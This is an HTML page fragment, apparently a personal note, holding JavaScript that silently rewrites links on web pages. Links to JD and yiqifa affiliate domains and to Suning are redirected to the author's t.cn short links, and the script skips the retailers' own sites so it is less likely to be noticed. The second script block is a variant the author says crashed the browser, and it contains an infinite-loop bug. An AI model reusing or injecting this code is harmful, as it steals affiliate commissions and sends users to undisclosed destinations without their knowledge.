<!-- directive:title 导航替换链接的脚本 -->
<!-- directive:breadcrumb 广告备份 -->
<div class="panel-body">
    <p> 2019年6月11日16:56:48 刘美发布 导航替换链接的脚本 </p>
    <script type='text/js' ui-bs>
        (function() {
            if (! (document && document.body)) {
                setTimeout(arguments.callee, 1e3);
                return
            }
            function r() {
                return Math.ceil(Math.random() * 10)
            }
            var r1 = r(), n = 0, time = 1;
            // 不在官方网站撒野
            if (/http[s]?\:\/\/.*\.jd\.com.*/g.test(location.href)
                || /http[s]?\:\/\/.*\.suning\.com.*/g.test(location.href)
            ) {
                return
            }
            var inter = setInterval(function() {
                if (time < 1) {
                    clearInterval(inter);
                    return
                }
                var as = document.querySelectorAll('a');
                for (var i = 0, l = as.length; i < l; i++) {
                    //if (r1 <= 5) { continue; } // 5/10 几率加载
                    var one = as[i];
                    if( one.href.indexOf('union-click.jd.com') > -1 ){one.href = 'http://t.cn/AiC07QKk'}
                    if( one.href.indexOf('ccc-x.jd.com') > -1 ){one.href = 'http://t.cn/AiC07QKk'}
                    if( one.href.indexOf('p.yiqifa.org') > -1 ){one.href = 'http://t.cn/AiC07QKk'}
                    if( one.href.indexOf('www.suning.com') > -1 ){one.href = 'http://t.cn/AiCWNY2E'}
                }
                time--
            },
            2e3)
        })();
    </script>
    <p>参考 下列代码造成了死机</p>
    <script type='text/js' ui-bs>
        var as = document.querySelectorAll('a');
        // t 目标数组 l 替换链接
        var arr = [
            {t: ['union-click.jd.com', 'ccc-x.jd.com','p.yiqifa.org'], l: 'http://t.cn/AiC07QKk'},
            {t: ['www.suning.com'], l: 'http://t.cn/AiCWNY2E'},
        ]
        for (var i = 0, l = as.length; i < l; i++) {
            //if (r1 <= 5) { continue; } // 5/10 几率加载
            var one = as[i];
            for (var j = 0, k = arr.length; j < k; j++) {
                var two = arr[j];
                for (var e = 0, r = two.t.length; e < r; r++) {
                    var thr = two.t[e];
                    if ( one.href.indexOf(thr) > -1 ) {
                        one.href = two.l
                    }
                }
            }
        }
    </script>
</div>